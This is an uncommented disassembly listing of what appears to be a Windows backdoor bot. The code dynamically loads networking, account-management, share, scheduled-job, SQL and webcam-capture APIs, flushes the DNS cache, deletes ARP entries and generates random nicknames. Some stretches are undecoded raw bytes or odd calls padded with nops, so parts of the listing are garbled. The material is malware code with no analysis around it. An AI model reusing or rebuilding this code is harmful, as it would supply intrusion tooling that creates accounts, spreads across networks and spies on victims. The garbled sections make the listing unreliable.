		jz	short loc_40A2E8
		cmp	dword_4CB680, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB63C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB67C, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6E8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB634, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB5F8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB668, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB6D8, ebx
		jz	short loc_40A2E8
		cmp	dword_4CB60C, ebx
		jz	short loc_40A2E8
		cmp	eax, ebx
		jnz	short loc_40A2F2
		jmp	short loc_40A2E8
; ---------------------------------------------------------------------------


loc_40A2DD:				; CODE XREF: sub_409B13+51Fj
		nop
		call	near ptr 2680932h
		mov	dword_4CB738, eax


loc_40A2E8:				; CODE XREF: sub_409B13+6BEj
					; sub_409B13+6CAj ...
		mov	dword_4CB734, 1


loc_40A2F2:				; CODE XREF: sub_409B13+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F7
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB590, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB518, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB61C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB5C8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB628, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB5EC, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB558, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB550, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB560, eax
		call	esi
		cmp	dword_4CB590, ebx
		mov	ecx, dword_4CB5EC
		mov	dword_4CB688, eax
		jz	short loc_40A3D3
		cmp	dword_4CB518, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB61C, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB5C8, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB628, ebx
		jz	short loc_40A3D3
		cmp	ecx, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB558, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB550, ebx
		jz	short loc_40A3D3
		cmp	dword_4CB560, ebx
		jz	short loc_40A3D3
		cmp	eax, ebx
		jnz	short loc_40A3DD


loc_40A3D3:				; CODE XREF: sub_409B13+87Ej
					; sub_409B13+886j ...
		mov	dword_4CB73C, 1


loc_40A3DD:				; CODE XREF: sub_409B13+8BEj
		cmp	ecx, ebx
		jz	short loc_40A412
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB604, eax
		jnz	short loc_40A412
		jmp	short loc_40A40C
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: sub_409B13+7EAj
		call	near ptr 2680932h
		nop
		mov	dword_4CB740, eax
		mov	dword_4CB73C, 1


loc_40A40C:				; CODE XREF: sub_409B13+8E2j
		mov	dword_4CB604, ebx


loc_40A412:				; CODE XREF: sub_409B13+8CCj
					; sub_409B13+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45C
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB5DC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB70C, eax
		call	esi
		cmp	dword_4CB5DC, ebx
		mov	dword_4CB56C, eax
		jz	short loc_40A467
		cmp	dword_4CB70C, ebx
		jz	short loc_40A467
		cmp	eax, ebx
		jnz	short loc_40A471
		jmp	short loc_40A467
; ---------------------------------------------------------------------------


loc_40A45C:				; CODE XREF: sub_409B13+90Aj
		call	near ptr 2680932h
		nop
		mov	dword_4CB748, eax


loc_40A467:				; CODE XREF: sub_409B13+939j
					; sub_409B13+941j ...
		mov	dword_4CB744, 1


loc_40A471:				; CODE XREF: sub_409B13+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A578
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB548, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB520, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB598, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB5CC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB6E4, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB580, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB52C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB51C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB5B4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CB6AC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB664, eax
		call	esi
		cmp	dword_4CB548, ebx
		mov	dword_4CB588, eax
		jz	short loc_40A583
		cmp	dword_4CB520, ebx
		jz	short loc_40A583
		cmp	dword_4CB598, ebx
		jz	short loc_40A583
		cmp	dword_4CB5CC, ebx
		jz	short loc_40A583
		cmp	dword_4CB6E4, ebx
		jz	short loc_40A583
		cmp	dword_4CB580, ebx
		jz	short loc_40A583
		cmp	dword_4CB52C, ebx
		jz	short loc_40A583
		cmp	dword_4CB51C, ebx
		jz	short loc_40A583
		cmp	dword_4CB5B4, ebx
		jz	short loc_40A583
		cmp	dword_4CB6AC, ebx
		jz	short loc_40A583
		cmp	dword_4CB664, ebx
		jnz	short loc_40A58D
		jmp	short loc_40A583
; ---------------------------------------------------------------------------


loc_40A578:				; CODE XREF: sub_409B13+969j
		call	near ptr 2680932h
		nop
		mov	dword_4CB750, eax


loc_40A583:				; CODE XREF: sub_409B13+A11j
					; sub_409B13+A19j ...
		mov	dword_4CB74C, 1


loc_40A58D:				; CODE XREF: sub_409B13+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB570, eax
		call	esi
		cmp	dword_4CB570, ebx
		mov	dword_4CB64C, eax
		jz	short loc_40A5CD
		cmp	eax, ebx
		jnz	short loc_40A5D7
		jmp	short loc_40A5CD
; ---------------------------------------------------------------------------


loc_40A5C2:				; CODE XREF: sub_409B13+A85j
		call	near ptr 2680932h
		nop
		mov	dword_4CB758, eax


loc_40A5CD:				; CODE XREF: sub_409B13+AA7j
					; sub_409B13+AADj
		mov	dword_4CB754, 1


loc_40A5D7:				; CODE XREF: sub_409B13+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CB6D0, eax
		call	esi
		cmp	dword_4CB6D0, ebx
		mov	dword_4CB6CC, eax
		jz	short loc_40A617
		cmp	eax, ebx
		jnz	short loc_40A621
		jmp	short loc_40A617
; ---------------------------------------------------------------------------


loc_40A60C:				; CODE XREF: sub_409B13+ACFj
		nop
		call	near ptr 2680932h
		mov	dword_4CB760, eax


loc_40A617:				; CODE XREF: sub_409B13+AF1j
					; sub_409B13+AF7j
		mov	dword_4CB75C, 1


loc_40A621:				; CODE XREF: sub_409B13+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A680
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB6FC, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB6F4, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CB6BC, eax
		call	esi
		cmp	dword_4CB6FC, ebx
		mov	dword_4CB58C, eax
		jz	short loc_40A68B
		cmp	dword_4CB6F4, ebx
		jz	short loc_40A68B
		cmp	dword_4CB6BC, ebx
		jz	short loc_40A68B
		cmp	eax, ebx
		jnz	short loc_40A695
		jmp	short loc_40A68B
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_409B13+B19j
		call	near ptr 2680932h
		nop
		mov	dword_4CB768, eax


loc_40A68B:				; CODE XREF: sub_409B13+B55j
					; sub_409B13+B5Dj ...
		mov	dword_4CB764, 1


loc_40A695:				; CODE XREF: sub_409B13+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6CA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB5C0, eax
		call	esi
		cmp	dword_4CB5C0, ebx
		mov	dword_4CB6C8, eax
		jz	short loc_40A6D5
		cmp	eax, ebx
		jnz	short loc_40A6DF
		jmp	short loc_40A6D5
; ---------------------------------------------------------------------------


loc_40A6CA:				; CODE XREF: sub_409B13+B8Dj
		nop
		call	near ptr 2680932h
		mov	dword_4CB770, eax


loc_40A6D5:				; CODE XREF: sub_409B13+BAFj
					; sub_409B13+BB5j
		mov	dword_4CB76C, 1


loc_40A6DF:				; CODE XREF: sub_409B13+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A768
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CB690, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CB6DC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB618, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB5D0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CB670, eax
		call	esi
		cmp	dword_4CB690, ebx
		mov	dword_4CB5E0, eax
		jz	short loc_40A773
		cmp	dword_4CB6DC, ebx
		jz	short loc_40A773
		cmp	dword_4CB618, ebx
		jz	short loc_40A773
		cmp	dword_4CB5D0, ebx
		jz	short loc_40A773
		cmp	dword_4CB670, ebx
		jz	short loc_40A773
		cmp	eax, ebx
		jnz	short loc_40A77D
		jmp	short loc_40A773
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_409B13+BD7j
		nop
		call	near ptr 2680932h
		mov	dword_4CB778, eax


loc_40A773:				; CODE XREF: sub_409B13+C2Dj
					; sub_409B13+C35j ...
		mov	dword_4CB774, 1


loc_40A77D:				; CODE XREF: sub_409B13+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B2
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB5A4, eax
		call	esi
		cmp	dword_4CB5A4, ebx
		mov	dword_4CB684, eax
		jz	short loc_40A7BD
		cmp	eax, ebx
		jnz	short loc_40A7C7
		jmp	short loc_40A7BD
; ---------------------------------------------------------------------------


loc_40A7B2:				; CODE XREF: sub_409B13+C75j
		nop
		call	near ptr 2680932h
		mov	dword_4CB780, eax


loc_40A7BD:				; CODE XREF: sub_409B13+C97j
					; sub_409B13+C9Dj
		mov	dword_4CB77C, 1


loc_40A7C7:				; CODE XREF: sub_409B13+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CF	proc near		; CODE XREF: sub_401ACD+2537p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB714, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A817
		push	dword_4CB718
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A817:				; CODE XREF: sub_40A7CF+1Aj
		cmp	dword_4CB71C, esi
		jz	short loc_40A84B
		push	dword_4CB720
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A84B:				; CODE XREF: sub_40A7CF+4Ej
		cmp	dword_4CB724, esi
		jz	short loc_40A87F
		push	dword_4CB728
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A87F:				; CODE XREF: sub_40A7CF+82j
		cmp	dword_4CB72C, esi
		jz	short loc_40A8B3
		push	dword_4CB730
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8B3:				; CODE XREF: sub_40A7CF+B6j
		cmp	dword_4CB734, esi
		jz	short loc_40A8E7
		push	dword_4CB738
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A8E7:				; CODE XREF: sub_40A7CF+EAj
		cmp	dword_4CB73C, esi
		jz	short loc_40A91B
		push	dword_4CB740
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A91B:				; CODE XREF: sub_40A7CF+11Ej
		cmp	dword_4CB744, esi
		jz	short loc_40A94F
		push	dword_4CB748
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A94F:				; CODE XREF: sub_40A7CF+152j
		cmp	dword_4CB74C, esi
		jz	short loc_40A983
		push	dword_4CB750
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A983:				; CODE XREF: sub_40A7CF+186j
		cmp	dword_4CB754, esi
		jz	short loc_40A9B7
		push	dword_4CB758
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9B7:				; CODE XREF: sub_40A7CF+1BAj
		cmp	dword_4CB75C, esi
		jz	short loc_40A9EB
		push	dword_4CB760
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40A9EB:				; CODE XREF: sub_40A7CF+1EEj
		cmp	dword_4CB764, esi
		jz	short loc_40AA1F
		push	dword_4CB768
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA1F:				; CODE XREF: sub_40A7CF+222j
		cmp	dword_4CB76C, esi
		jz	short loc_40AA53
		push	dword_4CB770
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA53:				; CODE XREF: sub_40A7CF+256j
		cmp	dword_4CB774, esi
		jz	short loc_40AA87
		push	dword_4CB778
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AA87:				; CODE XREF: sub_40A7CF+28Aj
		cmp	dword_4CB77C, esi
		jz	short loc_40AABB
		push	dword_4CB780
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h


loc_40AABB:				; CODE XREF: sub_40A7CF+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42DA28
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE8
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_40AAE8:				; CODE XREF: sub_40A7CF+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AD
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAFA	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C96p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB22
		push	[esp+arg_0]
		call	dword_4CB6D8
		test	eax, eax
		jnz	short loc_40AB1B
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1B:				; CODE XREF: sub_40AAFA+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB22:				; CODE XREF: sub_40AAFA+Dj
		retn
sub_40AAFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB23	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB570
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB31
		call	ecx

locret_40AB31:				; CODE XREF: sub_40AB23+Aj
		retn
sub_40AB23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB32	proc near		; CODE XREF: sub_401ACD:loc_403F5Ep

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CB6D0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF8
		sub	ecx, 32h
		jz	loc_40ABF1
		sub	ecx, 48h
		jz	short loc_40AB92
		sub	ecx, 6Eh
		jz	short loc_40AB8B


loc_40AB74:				; CODE XREF: sub_40AB32+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42DC3C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD2
; ---------------------------------------------------------------------------


loc_40AB8B:				; CODE XREF: sub_40AB32+40j
		push	offset unk_42DC18
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40AB92:				; CODE XREF: sub_40AB32+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBF
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CB6D0
		cmp	eax, edi
		jz	short loc_40ABF8
		jmp	short loc_40AB74
; ---------------------------------------------------------------------------


loc_40ABBF:				; CODE XREF: sub_40AB32+79j
		push	offset unk_42DBE8


loc_40ABC4:				; CODE XREF: sub_40AB32+5Ej
					; sub_40AB32+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD2:				; CODE XREF: sub_40AB32+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AD
		pop	ecx


loc_40ABE2:				; CODE XREF: sub_40AB32+C8j
					; sub_40AB32+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF1:				; CODE XREF: sub_40AB32+32j
		push	offset unk_42DBB8
		jmp	short loc_40ABC4
; ---------------------------------------------------------------------------


loc_40ABF8:				; CODE XREF: sub_40AB32+29j
					; sub_40AB32+89j
		cmp	[esi], edi
		jbe	short loc_40ABE2
		lea	ebx, [esi+4]


loc_40ABFF:				; CODE XREF: sub_40AB32+DAj
		push	ebx
		call	dword_4CB6CC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFF
		jmp	short loc_40ABE2
sub_40AB32	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC10	proc near		; CODE XREF: sub_401ACD+2248p
					; sub_401ACD+2399p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB784
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC69	proc near		; CODE XREF: sub_412B09+24Cp
					; sub_412B09+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC92
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC85:				; CODE XREF: sub_40AC69+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC85
		pop	edi
		jmp	short loc_40AC96
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40AC69+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC96:				; CODE XREF: sub_40AC69+27j
		test	esi, esi
		pop	esi
		jz	short loc_40ACA0
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40ACA0:				; CODE XREF: sub_40AC69+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC69	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB6	proc near		; CODE XREF: sub_40B08E+49p
					; DATA XREF: ___:off_42DC88o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCF0[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1E


loc_40ACF8:				; CODE XREF: sub_40ACB6+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB60
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF8


loc_40AD1E:				; CODE XREF: sub_40ACB6+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB6	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 5C33E857h, 50900228h, 10BA7E8h, 247C8B00h, 2404C710h
		dd 42913Ch, 42D01468h, 571C6A00h, 10C37E8h, 83F63300h
		dd 353910C4h, 429098h, 87E8267Eh, 6A00010Bh, 0F759990Ah
		dd 685752F9h, 42BB60h, 0E8571C6Ah, 10C10h, 4614C483h, 9098353Bh
		dd 0DA7C0042h, 5E5FC78Bh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD81	proc near		; CODE XREF: sub_401ACD+69CDp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC4


loc_40ADAE:				; CODE XREF: sub_40AD81+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAE


loc_40ADC4:				; CODE XREF: sub_40AD81+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD81	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 269095Dh
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431948
		push	eax
		push	esi
		nop
		call	near ptr 26C0000h
		movsx	eax, byte_431948
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE0A:				; CODE XREF: ___:0040AE15j
		cmp	eax, ecx
		jnz	short loc_40AE11
		mov	[ebp-4], edx


